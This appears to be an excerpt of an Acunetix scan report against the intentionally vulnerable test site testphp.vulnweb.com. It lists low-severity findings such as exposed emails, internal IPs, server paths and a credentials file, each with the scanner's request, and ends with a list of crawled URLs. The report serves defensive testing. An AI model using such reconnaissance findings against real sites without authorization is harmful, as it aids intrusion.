<td>Check references for details on how to solve this problem.</td>
</tr>
<tr>
<td>Alert variants</td>
<td>Pattern found:</td>
</tr>
<tr>
<td>Details</td>
<td><a href="mailto:matheusdaocu@gmail.com">matheusdaocu@gmail.com</a></td>
</tr>
<tr>
<td></td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>
GET /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/secured/office.htm

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Microsoft Office possible sensitive information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>This document has been converted to HTML using Microsoft Office. It seems that Office has included sensitive information during the conversion.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Inspect the source code of this document and remove the sensitive information.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
</tbody>
</table>
GET /secured/office.htm HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

Web Server
<table>
<thead>
<tr>
<th>Alert group</th>
<th>Password type input with auto-complete enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
</tbody>
</table>
### Description
When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

### Recommendations
The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to:

```html
<INPUT TYPE="password" AUTOCOMPLETE="off">
```

### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: form1</td>
</tr>
<tr>
<td>Form action: /secured/newuser.php</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Form input:</th>
</tr>
</thead>
<tbody>
<tr>
<td>upass [password]</td>
</tr>
</tbody>
</table>

GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

### Web Server

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Password type input with auto-complete enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Recommendations</th>
</tr>
</thead>
<tbody>
<tr>
<td>The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to:</td>
</tr>
</tbody>
</table>

```html
<INPUT TYPE="password" AUTOCOMPLETE="off">
```
Details
Form name: loginform
Form action: userinfo.php
Form method: POST
Form input:
- pass [password]

GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

/404.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>Possible internal IP address disclosure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.</td>
</tr>
<tr>
<td></td>
<td>This alert may be a false positive, manual confirmation is required.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Prevent this information from being displayed to the user.</td>
</tr>
</tbody>
</table>

| Alert variants |

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pattern found:</td>
</tr>
<tr>
<td>192.168.0.28</td>
</tr>
</tbody>
</table>
GET /404.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Possible internal IP address disclosure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.</td>
</tr>
<tr>
<td></td>
<td>This alert may be a false positive, manual confirmation is required.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Prevent this information from being displayed to the user.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>192.168.0.26</td>
</tr>
</tbody>
</table>
**Alert group** | Possible internal IP address disclosure
---|---
Severity | Informational

**Description**
A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

**Recommendations**
Prevent this information from being displayed to the user.

**Alert variants**

**Details**
Pattern found:

192.168.0.5
GET /secured/phpinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Possible server path disclosure (Unix)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
</tbody>
</table>

**Description**

One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

**Recommendations**

Prevent this information from being displayed to the user.

**Alert variants**

**Details**

Pattern found:

> /usr/local/etc/httpd/htdocs2/destination
GET /pictures/path-disclosure-unix.html HTTP/1.1

Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Possible server path disclosure (Unix)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.</td>
</tr>
<tr>
<td></td>
<td>This alert may be a false positive, manual confirmation is required.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Prevent this information from being displayed to the user.</td>
</tr>
<tr>
<td>Alert variants</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>:/usr/obj/usr/src/sys GENERIC</td>
</tr>
</tbody>
</table>
GET /secured/phpinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/pictures/credentials.txt

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Possible username or password disclosure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>A username and/or password was found in this file. This information could be sensitive. This alert may be a false positive, manual confirmation is required.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Remove this file from your website or change its permissions to remove access.</td>
</tr>
<tr>
<td>Alert variants</td>
<td>Pattern found: password=something</td>
</tr>
<tr>
<td>Details</td>
<td></td>
</tr>
</tbody>
</table>
GET /pictures/credentials.txt HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test\test
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
Scanned items (coverage report)

http://testphp.vulnweb.com/
http://testphp.vulnweb.com/.idea/
http://testphp.vulnweb.com/.idea/.name
http://testphp.vulnweb.com/.idea/acuart.iml
http://testphp.vulnweb.com/.idea/encodings.xml
http://testphp.vulnweb.com/.idea/misc.xml
http://testphp.vulnweb.com/.idea/modules.xml
http://testphp.vulnweb.com/.idea/vcs.xml
http://testphp.vulnweb.com/.idea/workspace.xml
http://testphp.vulnweb.com/_mmServerScripts/
http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php
http://testphp.vulnweb.com/_mmServerScripts/mysql.php
http://testphp.vulnweb.com/404.php
http://testphp.vulnweb.com/admin/
http://testphp.vulnweb.com/admin/create.sql
http://testphp.vulnweb.com/AJAX/
http://testphp.vulnweb.com/AJAX/htaccess.conf
http://testphp.vulnweb.com/AJAX/infoartist.php
http://testphp.vulnweb.com/AJAX/infocateg.php
http://testphp.vulnweb.com/AJAX/styles.css
http://testphp.vulnweb.com/bxss/
http://testphp.vulnweb.com/bxss/adminPan3l/
http://testphp.vulnweb.com/bxss/adminPan3l/style.css
http://testphp.vulnweb.com/bxss/cleanDatabase.php
http://testphp.vulnweb.com/bxss/test.js
http://testphp.vulnweb.com/cart.php
http://testphp.vulnweb.com/categories.php
http://testphp.vulnweb.com/clientaccesspolicy.xml
http://testphp.vulnweb.com/comment.php
http://testphp.vulnweb.com/Connections/
http://testphp.vulnweb.com/Connections/DB_Connection.php
http://testphp.vulnweb.com/crossdomain.xml
http://testphp.vulnweb.com/CVS/
http://testphp.vulnweb.com/CVS/Entries
http://testphp.vulnweb.com/CVS/Repository
http://testphp.vulnweb.com/CVS/Root
http://testphp.vulnweb.com/Flash/
http://testphp.vulnweb.com/Flash/add.fla
http://testphp.vulnweb.com/Flash/add.swf
http://testphp.vulnweb.com/guestbook.php
http://testphp.vulnweb.com/hpp/
http://testphp.vulnweb.com/signup.php
http://testphp.vulnweb.com/style.css
http://testphp.vulnweb.com/Templates/
http://testphp.vulnweb.com/Templates/logout.php
http://testphp.vulnweb.com/wvstests/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/version.php